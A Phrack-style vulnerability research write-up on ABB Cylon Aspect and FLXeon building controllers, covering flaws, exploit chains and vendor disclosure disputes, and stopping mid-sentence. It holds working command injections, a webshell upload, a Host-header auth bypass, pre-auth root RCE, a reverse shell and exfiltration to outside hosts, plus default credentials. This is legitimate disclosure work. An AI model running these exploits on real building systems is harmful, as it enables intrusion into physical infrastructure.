Title : Beyond the Facade :: Exposing Smart Giants
Author : LiquidWorm
|=-----------------------------------------------------------------------=|
|=-------------------------=[ P R O J E C T ]=-------------------------=|
|=----------------------------=[ Brainfog ]=-----------------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ Beyond the Facade :: Exposing Smart Giants ]=-----------=|
|=--------------------------=[ Phrack Edition ]=-------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ LiquidWorm ]=----------------------------=|
|=-------------------------=[ zeroscience.mk ]=--------------------------=|
|=-----------------------------------------------------------------------=|
"It's 2026, and we're living in VulnCities."
--[ Contents
1 - Prologue: the building that fogged my brain
2 - Bloodline of a Frankenstein: 2008 to 2020
3 - First blood: an unauth RCE that was "already fixed"
4 - Firmware acquisition and (damage) version control
5 - The city of a thousand zero-days
6 - //--- Begin Authorization ---// (and how to end it)
7 - The funky badass backdoor (?EXPERTMODE)
8 - The JSON proxy problem, or: Host: localhost owns you
9 - guest2root
10 - Crossing the river to FLXeon
11 - POST /api/cmds {"cmd":"..."}, root by design
12 - hashPassword(): unauth root via openssl
13 - cxpro: the backdoor that was "no longer needed"
14 - The WebSocket that forgot to ask who you are
15 - Two cheap shots: JSON flood and a timing oracle
16 - Vendor drama: "another researcher, who wishes to
remain anonymous"
17 - Shouts & epilogue
--[ 1 - Prologue: the building that fogged my brain
It started, as these things do, on someone else's network. April 2024,
an offensive engagement, and there it was, sitting on a flat segment
with one leg in the corporate LAN and the other wired straight out to
the public Internet. A web panel titled "ASPECT Control Panel". I tried
aamuser:default. I was in.
That box turned out to be an ABB Cylon Aspect building controller. I
pulled the thread and a sibling fell out with it, the ABB Cylon FLXeon
(BACnet) series. These are the systems that run Mechanical, Electrical
and Plumbing (MEP) for real buildings: HVAC, chillers, boilers, air
handling units, fire alarms, lighting, access control, and the pumps
that stop a basement from becoming a swimming pool. Skyscrapers,
stadiums, hospitals, airports, museums. The kind of infrastructure
where a denial of service is spelled with a wrench.
Over the following year I logged north of 800 vulnerable code paths
across these two product lines. Let me be straight about that number up
front, because it is the kind of figure people wave around. It is a count
of vulnerable sinks, not 800 hand-crafted bugs. It is the same handful of
mistakes copy-pasted across a codebase nobody had audited since 2008.
Section 5 breaks it down by root cause. Somewhere around the point where a
single grep was returning hundreds of hits with identical shapes, the
scale of it made me physically dizzy for about two weeks. That is where
the project got its name. Brainfog.
This is not the 160-page report. There are no CVE spreadsheets here, no
impact matrix, no bibliography. It is the story and the bugs that made
me laugh out loud, plus the vendor comedy that ran alongside them. If
you want the full body count, the advisories are on the ZSL site.
--[ 2 - Bloodline of a Frankenstein: 2008 to 2020
Before the code, the family tree. Almost every stupid thing in this
paper is explained by one sentence. Nobody ever owned this codebase
long enough to be ashamed of it.
.----------.-----------------------------------------------------.
| YEAR | EVENT |
+----------+-----------------------------------------------------+
| 2008 | American Auto-Matrix (AAM), a US shop, ships |
| | Aspect 1.0.0. PHP + Java + bash on Linux/ARM. |
| 2013 | Cylon Controls (Ireland) buys AAM. Keeps shipping. |
| 2020 | ABB buys Cylon. Rebrands to "ABB Cylon Aspect" |
| | and "ABB Cylon FLXeon". Firmware 3.03.03. |
| 2021 | ABB ships rebranded FLXeon 9.0.0. |
| 2024 | Four years post-acquisition, ABB quietly starts |
| | patching (v3.08.01). I show up. |
'----------'-----------------------------------------------------'
So the Aspect firmware I was staring at was an 18-year-old organism
that had survived two acquisitions with its DNA basically intact. Java
class files with @author dgunther and comments like "Removed #641 SRC
10/12/2009". PHP written under the assumption that this thing lives on
an air-gapped island and the Internet is a rumor.
ABB's technical bulletins kept saying "security enhancements". In
practice, until March 2024, "enhancements" meant features. The real
security work did not start until 3.08.01, and even then it started
silently. That is where the fun begins.
--[ 3 - First blood: an unauth RCE that was "already fixed"
The panel has a Network Diagnostics page under System Administration.
It lets you ping, nslookup or traceroute a host. You already know where
this is going.
networkDiagAjax.php, roughly:
$command = htmlspecialchars($_GET['command']);
$host = htmlspecialchars($_GET['host']);
...
if ($command == "ping") {
exec("ping -c 3 $host 2>&1", $outputPing);
...
if ($command == "traceroute") {
...
exec("$traceRoute $host 2>&1", $outputTraceroute);
htmlspecialchars() escapes HTML. It does exactly nothing about a shell
metacharacter. $host walks straight into exec(). That is unauthenticated
remote code execution as www-data, immediately.
The punchline came from the diff. When I compared firmware versions I
found this had already been "fixed". Prism Infosec reported it back in
2022, ABB shipped CVE-2023-0635 and CVE-2023-0636, and the patch added
escapeshellcmd() around $host. The patch never added an authentication
check, though. So the command injection was mitigated, but the endpoint
stayed wide open to unauthenticated callers, which meant you could still
drive it as an SSRF and DoS primitive against the box. Fixing one symptom
while leaving the door unlocked is the most repeated move in the entire
engagement. It comes up dozens of times.
--[ 4 - Firmware acquisition and (damage) version control
Getting the firmware to analyze statically was, at first, "not possible".
Then I remembered I had a pre-auth command injection on a live building,
so I tar'd the filesystem off the target through the bug and analyzed
that at home, where the worst I could do was crash my own laptop instead
of a hospital.
Then it got funnier. ABB's own website was serving old firmware images
to the public. Unauthenticated, unencrypted, with no integrity or
confidentiality protection. I pulled 3.07.00 and 3.07.01 straight down.
The vendor later confirmed that no firmware was ever supposed to be
publicly downloadable. The image uses a .aam extension and no protection
whatsoever, and unblob cracks it open into a stock ARM Linux rootfs in
seconds.
For the record, here is the release train I reconstructed. Notice how
the CVE count per release tells its own story:
3.07.01 Mar 2023 (2 CVEs)
3.07.02 Jul 2023 (1 CVE )
3.08.00 Oct 2023
3.08.01 Mar 2024 <- silent patching begins
3.08.02 Aug 2024 (2 CVEs) <- "the disaster", see later
3.08.03 Dec 2024 (24 CVEs)
3.08.04 May 2025 (33 CVEs)
3.08.04-s01 Aug 2025 (3 CVEs)
Two versions of the same firmware is a gift. Diffing 3.07.01 against
3.08.01 is basically a treasure map the vendor drew for me. Every file
they quietly touched is a file they knew was rotten and never told
anyone about.
--[ 5 - The city of a thousand zero-days
Once you internalize the house style, the codebase stops being software
and becomes a fishing pond. I grepped the webroot for the php://input
wrapper and every single instance was exploitable. Not most of them. All
of them.
A quick census of one htmlroot (v3.08.01), because the shape of the
codebase matters more than any single bug:
.------------------------.------------------------------------.
| 245 exec() | 238 $_POST sinks |
| 2 shell_exec() | 116 $_GET sinks |
| 100 fopen() | 11 php://input wrappers |
| 32 fwrite() | 143 files WITH an auth check |
| 16 unlink() | 11 files w/ auth COMMENTED OUT |
| 258 PHP files | 1 file w/ conditional auth |
'------------------------'------------------------------------'
Now the honest version of the headline number. 800-plus is a count of
vulnerable sinks, not 800 clever bugs. The same dozen mistakes are
copy-pasted across hundreds of files written in one house style. Collapse
them by root cause and the picture is small and grim. Here are rough
tallies you can reproduce with grep on the 3.08.01 htmlroot:
- Broken access control by omission. 47 of 201 top-level PHP files
ship no validateHeader.php include. Drop the library includes and
the factory and maintenance scripts and about 33 are directly
reachable handlers. Section 6 walks that count across releases.
- OS command injection. The census counts 245 exec() sinks and two
shell_exec(). Not every sink is attacker-reachable, but the ones fed
by $_GET or $_POST are, and there are dozens.
- Arbitrary file read, write, delete and path traversal. The fopen(),
fwrite(), unlink() and file_get_contents() family, on the order of
150 file operations over user-controlled paths.
- Reflected and stored XSS. echo of request parameters, the classic.
- SSRF, SQL injection in the Java MIX tier, session fixation, info
disclosure, hardcoded credentials and outright backdoors. One or
more of each.
Call it ten or so root causes, replicated until the instance count
crosses 800. Of those, ABB assigned about 65 CVEs. So when I say 800-plus
I mean sinks you can point a debugger at, and when I say "the same bug
again" I mean it literally. The rest of this paper walks the interesting
representatives, not all 800 cousins.
Here are a couple of representative silent fixes I caught in the diff,
meaning bugs ABB patched with no changelog entry, no advisory, and no
word to anyone.
caldavUtil.php, the doPostFooter() handler (unauthenticated):
$cmd = "sudo /usr/local/aam/bin/CAL_doPost.sh config.php footer \""
. $_POST['Footer'] . "\"";
exec($cmd, $output, $return_val);
$ curl "http://tgt/caldavUtil.php" -d "command=postFooter&Footer=%60id%60"
Set footer to uid=33(www-data) gid=33(www-data) groups=33(www-data)
You set the building's web footer to the output of "id". That is the
whole exploit. It runs under sudo, but the payload is evaluated as
www-data before sudo takes over, so you land as the web user. Hold that
thought until section 9, where the same trick lands you as root.
yumSettings.php had a matching authenticated blind injection through the
PROXY parameter. downloadDb.php was a ../../../../etc/passwd read.
userManagement.php would happily "Add" a user with a one-character
password, because the strength check lived in JavaScript. None of these
were in a changelog. All of them were "already handled internally".
--[ 6 - //--- Begin Authorization ---// (and how to end it)
Here is my favorite structural joke in the whole Aspect stack. Auth on a
PHP page is opt-in, and it looks like this, verbatim, at the top of the
files that bothered:
//---------Begin Authorization-------------
require_once 'validate/validateHeader.php';
//--------End Authorization----------------
The security boundary of the entire control panel is a one-line include
that a developer either remembered to paste or did not. If that header
is missing, the file is world-accessible. No session, no auth, no
problem. And in a lot of files it had been commented out during
debugging and shipped that way.
Counting IDOR-class files across releases:
3.07.01: 28 files unauthenticated, 11 with auth commented out
3.08.01: 33 files unauthenticated, 11 with auth commented out
3.08.03: 13 files unauthenticated, 5 with auth commented out
The star of the unauthenticated set was servicesUpdate.php. Per its own
comments it was last touched in 2009, it had no validateHeader.php in
sight, and it ran a switch() full of exec() calls driven by POST
parameters. The serviceAction value was character-filtered. The instance
value next to it was not:
case "restartSingleMix":
$command = $sudo . " " . $init . "aspect$instance restart";
exec($command);
$ curl "http://tgt/servicesUpdate.php" \
-d 'serviceAction=restartSingleMix&instance=1\
$(curl%20-A%20"`id`"%20remotelog.zeroscience.mk)'
My out-of-band listener catches:
User-Agent: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Another silent partial fix. The 2023 audit hardened serviceAction and
walked right past the instance sink sitting on the next line.
--[ 7 - The funky badass backdoor (?EXPERTMODE)
Alright, fam, crank the funk-o-tron to eleven, because we are about to
strut through a real one. Three files run this show. caldavInstall.php
and caldavInstallAgendav.php are the install wizards, and
caldavUpload.php is the thing that actually catches your file. Grab your
shades. This section is the full chain, byte for byte, so you can walk it
yourself against a 3.08.01 image.
THE TELL: ?EXPERTMODE
The wizard opens like this. caldavInstall.php still carries its 2013
PhpStorm header ("User: dgunther") and starts with:
$badassMode = false;
if (isset($_GET["EXPERTMODE"])) {
$badassMode = true;
}
Request /caldavInstall.php?EXPERTMODE and $badassMode flips true, which
reveals exactly one extra form control:
if ($badassMode)
echo "Skip MD5 Test<input type='checkbox' name='skipChecksum'
value='1'>";
That is the entire "expert" feature. A switch reachable by an
undocumented URL parameter, whose only job is to turn off the integrity
check on a package upload. Keep it in your pocket. As you are about to
see, you do not even need the wizard.
THE DROP: caldavUpload.php (no lock on the door)
Both wizards post to caldavUpload.php. The first thing to notice is what
is missing from the top of that file:
$ grep -c validateHeader.php caldavUpload.php
0
No //--- Begin Authorization ---// block, no session_start(), nothing.
caldavUpload.php is reachable unauthenticated. No login, no EXPERTMODE,
no wizard. You post straight to it. Here is the integrity logic,
verbatim from v3.08.01:
if (isset($_POST["skipChecksum"])) {
$skipChecksum = $_POST["skipChecksum"];
}
...
$uploadedChecksum = md5_file($output_dir . $uploadFile["name"]);
if ($whichFile == "baikal") {
// if (in_array($uploadedChecksum, $baikal_md5)
// && $skipChecksum == 0) {
// syslog(LOG_ERR, "is Baikal Package");
// } elseif ($skipChecksum == 1) {
if ($skipChecksum == 1) {
syslog(LOG_ERR, "Baikal Checksum skipped");
} elseif ( version_compare(PHP_VERSION, '7.3.0', '>=')
&& strpos($uploadFile['name'], '0.6.') > 0 ) {
$baikalVersion = substr($uploadFile['name'],
strpos($uploadFile['name'], '0.6.'), 5);
syslog(LOG_ERR, "is Baikal $baikalVersion Package.");
syslog(LOG_ERR, "Baikal Checksum skipped");
} else {
header("HTTP/1.0 500 Internal Error");
echo "Not a recognized Baikal package"; exit;
}
unlink($output_dir . $baikalStaticFilename);
rename($output_dir . $uploadFile["name"],
$output_dir . $baikalStaticFilename);
exec("sudo /usr/local/aam/bin/CAL_doExtract.sh baikal-flat.zip");
The real check, in_array($uploadedChecksum, $baikal_md5), is commented
out. It is not bypassed at runtime, it is deleted from the logic. The
array it would have compared against still ships next door in
lib/caldav-checksums.inc and holds exactly one live hash, the genuine
Baikal 0.6.1 release (0570e3d357b3b6c28cadce68499cd844). So md5_file()
is computed on the upload and then thrown away.
What is left as your only obstacle is one of two things, and you choose:
1. Send skipChecksum=1. No auth required. The branch logs
"Baikal Checksum skipped" and moves on.
2. Do not even bother with that. Name your zip so the filename
contains the substring "0.6." (say evil-0.6.zip). On PHP 7.3 and
up the elseif matches on strpos() alone and also logs
"Baikal Checksum skipped".
That is the whole gate. A substring match on a filename you control.
THE MACHINE: what CAL_doExtract.sh does as root
caldavUpload.php renames your upload to baikal-flat.zip and hands it to
sudo /usr/local/aam/bin/CAL_doExtract.sh. That script runs as root.
Trimmed to the load-bearing lines (v3.08.01):
WORKDIR="/var/tmp" ; DESTDIR="/home" ; CALDAVTMP="caldav-tmp"
...
unzip -qq $WORKDIR/baikal-flat.zip -d $WORKDIR/$CALDAVTMP
test -d $WORKDIR/$CALDAVTMP/baikal-flat \
&& mv $WORKDIR/$CALDAVTMP/baikal-flat $WORKDIR/$CALDAVTMP/baikal
...
mv $WORKDIR/$CALDAVTMP/baikal $DESTDIR/baikal # to /home/baikal
chown -R apache:apache $DESTDIR/baikal
...
# docroot is /home/baikal/html if that dir exists, else /home/baikal
cat << EOF > /etc/httpd/conf.d/baikal.conf
Alias /baikal $PATHBAIKAL
<Directory "$PATHBAIKAL"> ... Allow from all </Directory>
EOF
So your archive is unzipped as root, moved under /home/baikal, handed to
the apache user, and wired into the web server under the URL alias
/baikal. There is no verifyBaikal() in this version. Whatever files are
in your zip are now web content.
THE ZIP: what to actually pack
The only structural requirement is a single top-level directory named
baikal, or baikal-flat which the script renames to baikal. If it contains
an html/ subdirectory the alias points at /home/baikal/html, otherwise at
/home/baikal. Minimal weaponized archive, laid out flat because there is
no html/ dir, so /baikal maps to /home/baikal:
evil-0.6.zip
baikal-flat/
sh.php <?php system($_GET['c']); ?>
sh.php then lands at /baikal/sh.php. If you would rather trojanize the
real thing, drop sh.php into baikal/html/ inside a genuine baikal-0.6.1
release and the normal install completes around your shell.
THE RUN
$ curl -F '[email protected]' -F 'skipChecksum=1' \
'http://tgt/caldavUpload.php'
Baikal Bundle Uploaded and Extracted - OK
The alias only serves once httpd re-reads conf.d. The installer's own UI
tells the operator to "restart the Web Server service" right after upload,
and that restart is reachable from the panel, so in practice it happens
on its own. After it, the staged shell answers:
$ curl 'http://tgt/baikal/sh.php?c=id'
uid=48(apache) gid=48(apache) groups=48(apache),0(root)
Apache-level code execution, unauthenticated up to the reload, from a
file upload whose checksum was commented out and whose filter is a
strpos() on a name you picked.
THREE SIGNALS
Say "backdoor" and someone will say "sloppy feature". Fine. Count the
signals. One, ?EXPERTMODE is undocumented and its only effect is to
disable a safety check. Two, the integrity test is commented out in
source, not merely bypassable at runtime. Three, the handler that does
the work ships with no authentication at all. Any one of those is a bug.
All three together is a way in that somebody left on purpose and forgot
to sweep up.
I did not have to win that argument. ABB pulled the entire
CalDAV/Baikal/AgenDAV subsystem in 3.08.02, and Cylon Technical Bulletin
No. 537 (07 Aug 2024) said so in vendor voice:
"CalDAV / Biakal calendaring has been removed from ASPECT due to
security considerations."
Feature deprecated. Point conceded. Groove out.
Ref: Funkalicious Exploit (funkalicious.py), ZSL-2025-5926
- https://packetstorm.news/files/id/189617/
--[ 8 - The JSON proxy problem, or: Host: localhost owns you
Aspect is two worlds bolted together. A PHP control panel out front, and
a Java application server (AspectFT, internally "MIX", built for ABB by
ErgoTech) on localhost:7226 running the actual building logic. The Java
side requires auth for remote callers but trusts localhost. You can see
the trap from orbit.
The bridge between the two is jsonProxy.php:
$port = $_GET['port'];
$application = $_GET['application'];
$query = $_GET['query'];
$url = "http://localhost:$port/servlets/".$application."?"
. html_entity_decode($query);
$s = file_get_contents($url, false);
echo $s;
It is unauthenticated. It fetches an arbitrary local servlet from the
server itself, so as far as the Java side is concerned the request came
from localhost. It is an SSRF whose only job is to launder your requests
into trusted ones. Hundreds of servlets become reachable with no login.
$ curl "http://tgt/jsonProxy.php?port=7226&application=ProjectInfo"
...
aamuserdefault
That "aamuserdefault" is the base64-decoded credential for the project
archive and for the panel. So next:
$ curl "http://tgt/jsonProxy.php?port=7226&application=DownloadProject?\
downloadSource=true" -o Skyscraper.zip
$ 7z -p"aamuserdefault" x Skyscraper.zip
That is 38 MB of AES-encrypted project, decrypted with the password the
previous request just handed you, containing a mapconfig.db with
plaintext credentials (for example the alarm-email account) sitting in
SQLite. That is the whole config-exfil chain.
Now, why does the Java side trust this? Because of
AuthenticatedHttpServlet.authorized():
String host = request.getRemoteAddr();
if (host.equalsIgnoreCase("localhost") || host.equals("127.0.0.1")) {
return true;
}
That looks reasonable. Except this MIX build overrides getRemoteAddr():
@Override
public String getRemoteAddr() {
this.getServerPort();
return this.getHeader("host"); // <-- the Host HTTP header
}
Read that again. getRemoteAddr(), the method whose entire reason for
existing is to return the peer's socket address, was reimplemented to
return the client-controlled Host header. So you don't even need
jsonProxy.php. Port 7226 is exposed:
$ curl "http://tgt:7226/servlets/ProjectInfo"
401 You are not authorized...
$ curl "http://tgt:7226/servlets/ProjectInfo" -H "Host: localhost"
...
aamuserdefault
One header and you are "localhost". Every servlet extending
AuthenticatedHttpServlet inherits the bypass. That is how a spectator
becomes a MIXAdmin:
$ curl "http://tgt:7226/servlets/UserManager" -H "Host: localhost" \
-d "newuser=testingus&password=123456&passwordConfirm=123456&Insert=Add"
$ curl "http://tgt:7226/servlets/GroupManager?selectedGroup=MIXAdmin" \
-H "Host: localhost" \
-d "groupName=MIXAdmin&addedRight=admin%2ctestingus&EditGroup=Save"
The Host header is for virtual hosting. It is fully attacker-controlled.
Using it as an origin of trust is not a feature with a bug in it. It is a
category error someone shipped as a shortcut for local PHP to Java calls
and never removed.
There is a persistence bonus in here too. Persist.java deserializes
untrusted files from the persist directory with no class filtering, and
HTTPDownloadServlet writes arbitrary paths. commons-collections-3.2 is on
the classpath, so:
$ java -jar ysoserial.jar CommonsCollections1 \
"bash -i >& /dev/tcp/10.0.0.1/7171 0>&1" > Foo.prst
$ curl -F "filename=../../persist/Foo.prst" -F "[email protected]" \
http://tgt:7226/servlets/HTTPDownloadServlet -H "Host: 127.0.0.1"
The next time the app calls unPersist(), your gadget fires. The file
stays put, so it re-fires on every restart. That is a backdoor that
survives reboots, delivered through the same Host: localhost trust bug.
--[ 9 - guest2root
Individually, three files here are careless. Chained, they take you from
the guest account to remote root. This one is the silliest.
Step one is that the login lies. /validate/login.php (v3.08.02, the copy
in 3.08.01 is stubbed with an early exit()) runs session_start() and
stores your session before it checks whether you belong to the MIXAdmin
group:
$sessionManager->storeApp($appId, $status['user'], $status['pass']);
if ( in_array('MIXAdmin', $status['groups']) ) {
header('Location: ../setup.php');
} else {
...
header('Location: ../index.php?error=Invalid Admin ...');
exit();
}
Log in with the default guest:guest. guest is valid for the Java HMI, so
checkCredentials() succeeds and storeApp() writes a real session. Then
the group check fails and you're bounced to an "Invalid Admin Username
and/or Password" error. It looks like you were rejected. You weren't. The
session is already live:
$ cat /tmp/sess_30c8...5a
f_user|s:5:"guest";f_pass|s:10:"6775657374";
Ignore the error and walk straight to /setup.php. The admin panel opens,
because setup.php trusts the session instead of re-checking the group.
Broken access control, guest edition. (ZSL-2025-5949)
Step two is the update path. From that panel you reach System Updates,
which ultimately calls fileSystemUpdateExecute.php:
$uploadFile = $upload_dir . $local_uploadfile; // firmware.aam
$command = $sudo . " " . $shell . "upgrade-bundle.sh " . $uploadFile;
$tmp = exec($command);
The upload path filtered the filename for junk characters but never
looked at the file contents. Here is the crucial difference from every
www-data bug earlier in this paper. upgrade-bundle.sh is invoked under
sudo, and the shell evaluates the payload embedded in the bundle path
after sudo has escalated. So:
/usr/bin/sudo /usr/local/aam/bin/upgrade-bundle.sh \
/var/lib/php/session/firmware.aam
|
+--> curl -A "`id`" attacker.host
uid=0(root) gid=0(root) groups=0(root)
Log in with guest:guest, ignore the fake error, upload a "firmware" file
whose name carries a command substitution, and you have remote code
execution as root. Default credentials to uid 0 in three requests.
--[ 10 - Crossing the river to FLXeon
The FLXeon (BACnet) controllers are the other half of the family. Same
lineage, different stack. Linux 5.4.27, Node.js 8.4.0 (Express) serving
JavaScript, bash underneath, ARMv7. Default creds admin:cylonctl, with no
forced change and no additional roles. There are about 37 bugs here,
roughly 20 of them RCE to root, two of those pre-auth.
The house style survived the port to JavaScript perfectly intact. The
first thing the audit turns up is api/siteGuide.js. It exists on disk but
isn't even registered in routes.js, an unrouted and forgotten handler:
const file = '/tmp/' + req.file.filename;
ChildProcess.exec('mv ' + file + " " + siteGuideFile
+ req.file.originalname, (err) => { ... });
An unsanitized filename concatenated into a shell mv. That gives you
command injection and path traversal at once. An originalname of
../../../../etc/passwd overwrites files as root, and the HMI it feeds
(/FS/VOL1/sg/sg2.html) was reachable with no auth at all. When ABB
"fixed" it in 9.3.5 they bolted basic-auth onto the route and left the
exec() concatenation untouched. The injection still works for anyone past
the new password. Incomplete remediation, JavaScript edition.
That's the appetizer.
--[ 11 - POST /api/cmds {"cmd":"..."}, root by design
No cleverness required for this one. The Diagnostics pages (Processes,
System Logs) work by POSTing to /api/cmds.
Watch the traffic and you see:
POST /api/cmds
{"cmd":"top -b -n 1"}
Now look at the handler, in full, because it's short enough to fit on a
punchcard:
const ChildProcess = require("child_process");
function post(req, res) {
ChildProcess.exec(req.body.cmd, { maxBuffer: 1024*1024 },
function (err, stdout, stderr) {
if (err) res.status(400).send({ err: err, text: stdout });
else res.send({ result: stdout });
});
}
exports.post = post;
That is the whole thing. The API's documented, intended function is "run
this shell string and return stdout". The Node process runs as root, so:
$ curl -k "https://tgt/api/cmds" -d '{"cmd":"ls -alsth"}' \
-H "Cookie: user_sid=xxx" -H "Content-type: application/json"
...
drwxr-xr-x 2 root root ... api
lrwxrwxrwx 1 root root ... uploads -> /usr/local/aam/uploads
There is no injection technique and no escaping. You send a command, root
runs it. The 9.3.5 fix finally introduces a whitelist (cat, top, journal,
upgrade) and execFile(), which is what should have been there since 2019.
--[ 12 - hashPassword(): unauth root via openssl
/api/cmds at least wanted a session cookie. login.js does not.
To authenticate, FLXeon reads /etc/shadow, pulls the algorithm and salt
for your user, recomputes the hash of the password you supplied, and
compares. It computes that hash by shelling out to openssl:
function hashPassword(password, algorithm, salt, callback) {
...
cmd = 'openssl passwd -' + algorithm + ' -salt ' + salt
+ ' ' + password;
ChildProcess.exec(cmd, function (err, stdout, stderr) { ... });
}
The password you are trying to log in with is concatenated into a shell
command and passed to exec() during the login check, before you are
authenticated. You only need a valid username to reach hashPassword().
Valid usernames are admin, root, and cxpro. Keep that last one in mind
for the next section. The password field is yours to weaponize:
$ curl -k -H "Content-Type: application/json" \
-d '{"username":"admin","password":"'\''\%22\'\'';curl -A
"`{cmd}`" {host}:5555;'\''//"}' \
"https://tgt/api/login"
uid=0(root) gid=0(root) groups=0(root)
It's blind, so in practice you drive it with DNS exfil or a reverse
shell. The primitive is pre-auth root code execution in the function
whose entire job is to decide whether you're allowed in. Thanks to Davide
Cioccia for the escape payload that made the quoting behave.
--[ 13 - cxpro: the backdoor that was "no longer needed"
Remember cxpro from the valid-usernames list? Here is where it comes
from. During filesystem triage I read runtimeSetup.sh, which runs at
firmware install time:
# add the siteguide user
grep cxpro /etc/passwd
if [ $? -ne 0 ] ; then
useradd -u 950 -d /usr/local/aam/node-server/platform-dist -r \
-s /bin/sh -g admin \
-p '$6$jwix7x1XIB/$OS5/8TFhxckN5sc2KZCe3xfmX3VX8E3UPf7GE3v...' \
cxpro
fi
A hardcoded user, cxpro, in the admin group, with a fixed password hash.
The plaintext is "siteguide". It has been baked into these controllers
since at least 2019. It is absent from every piece of documentation,
which only ever mentions admin:cylonctl. Because auth is just an
/etc/shadow lookup, cxpro:siteguide logs straight into the admin panel.
Full control of the building.
After I reported it, ABB removed it in 9.3.5. The removal is as blunt as
the original:
# Remove the cxpro user as no longer needed and was a security issue
grep cxpro /etc/passwd
if [ $? -eq 0 ] ; then
userdel cxpro
fi
"No longer needed." Backdoor removed because no longer needed. t00t.
--[ 14 - The WebSocket that forgot to ask who you are
The ws/ directory does serial packet capture (BACnet, Modbus, MS/TP,
SmartRouter) by spawning tcpdump. Credit where credit is due. The
developers used child_process.spawn() with an argument array here instead
of exec(), which is the one place in the entire product where a design
decision actively prevented an unauth root RCE. I was almost proud of
them.
Almost, because wsConnect.js sets up the WebSocket server with exactly
zero authentication:
wss.on('connection', connect); // anyone who can reach the port
There is no session parse, no token, nothing. You connect with websocat,
send {"target":"tcpdump","method":"start",...}, and the box starts
capturing traffic for you. If you prefer, you start captures in a tight
loop and let the I/O and disk usage do a pre-auth DoS:
TARGET="wss://$IP:443/ws"
echo '{"target":"tcpdump","method":"start","params":
{"type":"smartRouter","minutes":1,"sizeKb":10}}' \
| websocat --insecure --one-message --no-close "$TARGET" -v
That is unauthenticated network capture on a building controller. The
9.3.5 fix adds an upgrade() handler that finally parses the session and
returns 401 if req.session.auth is false. In other words it adds the auth
check that should have gated the socket from day one.
--[ 15 - Two cheap shots: JSON flood and a timing oracle
Not every bug is a crown jewel. Two quick ones, because they're funny.
JSON object flood. /api/serialConfig.js enforces "two ports max" in the
browser and nowhere on the server:
var newPorts = req.body.ports;
for (let idx = 0; idx < newPorts.length; idx++) { ... }
...
ChildProcess.exec('systemctl restart supervisord');
PUT it a few hundred empty objects and it dutifully writes them all, then
restarts supervisord, and the panel wedges:
pd = {"ports": [{} for _ in range(251)]}
requests.put(f"https://{tgt}/api/serialConfig", data=json.dumps(pd),
headers=hdrs, verify=False)
# Bamboozled!
The 9.3.5 fix is one line: if (!newPorts || newPorts.length > 2) bail.
Timing oracle. login.js compares hashes with a plain !== and uukl.js with
==. Both short-circuit, so response time leaks how much of your guess
matched, which is enough to distinguish a valid username from an invalid
one out of the noise:
invalid user: baseline ~337 ms, guesses ~330-344 ms
valid user: baseline ~599 ms, guesses ~594-672 ms
The fix swaps in crypto.timingSafeEqual(). It is a small bug, but it's
the kind of detail that tells you nobody ever threat-modeled the login
path.
--[ 16 - Vendor drama: "another researcher, who wishes to
remain anonymous"
The bugs were the easy part. Here is the human part, compressed.
I reported in April 2024 with two proof-of-concepts. I sent only two on
purpose, to gauge how the vendor's team handled a report before I handed
over the other 800. They patched exactly those two, shipped 3.08.02, and
published their first PSIRT advisory in ages. The advisory omitted detail,
quietly fixed extra things it didn't mention, misdescribed a CVE, and
lowballed the CVSS. When I asked about credit, I was told the advisory
was addressing issues reported by "some other researcher who wishes to
remain anonymous".
Those were my bugs. In a later call with executives I said so. After an
initial silence, the story became "another researcher reported them in
June". The advisory was eventually updated to include my name.
.------------.--------------------------------------------------------.
| DATE | EVENT |
+------------+--------------------------------------------------------+
| 22 Apr 24 | I report. Vendor sends me 3.08.01 to review. |
| 02 May 24 | I send two detailed PoCs. |
| 04 Jul 24 | Vendor: "two bugs patched in 3.08.02." |
| 18 Jul 24 | I send the list of 800+ 0days. |
| 07 Aug 24 | 3.08.02 ships, "comprehensive security upgrades". |
| 16 Aug 24 | Vendor: advisory was "another anonymous researcher". |
| | Also, no bug bounty for this product line. |
| 06 Sep 24 | I take the rest to CISA via CERT/CC VINCE. |
| 16 Sep 24 | Meeting and a "thank you". I mention the writeup. |
| 26 Feb 25 | A thank-you letter from an ABB EVP. |
| 10 Mar 25 | I try to report NEW critical bugs. Vendor goes quiet. |
| 14 Apr 25 | Vendor: "still waiting on the business division." |
| 19 May 25 | Silence continues. I start releasing. |
| 22 May 25 | Advisory: 32 more CVEs, only 14 fixed. The rest are |
| | marked "no plans for corrective measures". Nearly |
| | all mis-scored with a blanket "if admin creds are |
| | compromised" caveat that misrepresents the risk. |
| 11 Aug 25 | 7 more CVEs. Pre-auth root RCE scored CVSS 7.3. |
| 24 Nov 25 | Game Over. |
'------------'--------------------------------------------------------'
Two threads run through all of it. The first is the scoring. ABB is a
CNA, so it sets its own CVSS, and it kept setting it low. Take the
pre-auth root RCE fixed in 3.08.04-s01. It is network reachable, needs no
authentication, needs no user interaction, and hands you a root shell.
The honest CVSS v3.1 vector is:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
ABB published 7.3. There are only two ways to land on 7.3 from that bug.
Either you rate the impacts Low across the board:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L = 7.3
which says a root shell is a low hit to confidentiality, integrity and
availability, or you assume privileges are required:
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H = 7.2
which is exactly the "only exploitable if administrator credentials
become compromised" wording ABB pasted across the 3.08.04 batch. That
line is not a mitigation. It is PR:H smuggled into the prose, and it is
false whenever the bug needs no credentials. Same move, roughly two and a
half points shaved off, applied dozens of times. Drop the vectors into
any CVSS calculator and check me.
The second thread is the "these were never meant to be Internet-facing"
defense. On paper the vendor is right. Their own document HT0038, "Aspect
/ FBXi / CBXi System Network Security Best Practice", says to isolate the
controllers, keep them off the public Internet, and reach them only
through a VPN. In the field none of that happens. Provisioners and
installers put these boxes straight onto public IPs because it is the
quickest way to get a remote HMI working, and the product ships nothing
that stops them.
The defense also fights the firmware. If the device was never supposed to
touch the Internet, someone needs to explain /etc/cron.daily/yum-update,
a job that runs "yum -y update" every single day to pull OS packages from
remote repositories, backed by the yumProxy.sh and yumSettings.php
plumbing for proxied outbound access (the same yumSettings.php from
section 5). A box that phones home for package updates on a daily cron
was designed to be online. You cannot ship an Internet update client and
then disown the Internet once the bugs land.
It would be more comforting anyway if the vendor's own website had not
been serving the firmware to the public, and if Shodan were not full of
these boxes wired straight to the wall and the Internet, some running
firmware fifteen years old.
To be fair where fairness is due, after the shouting ABB did put in real
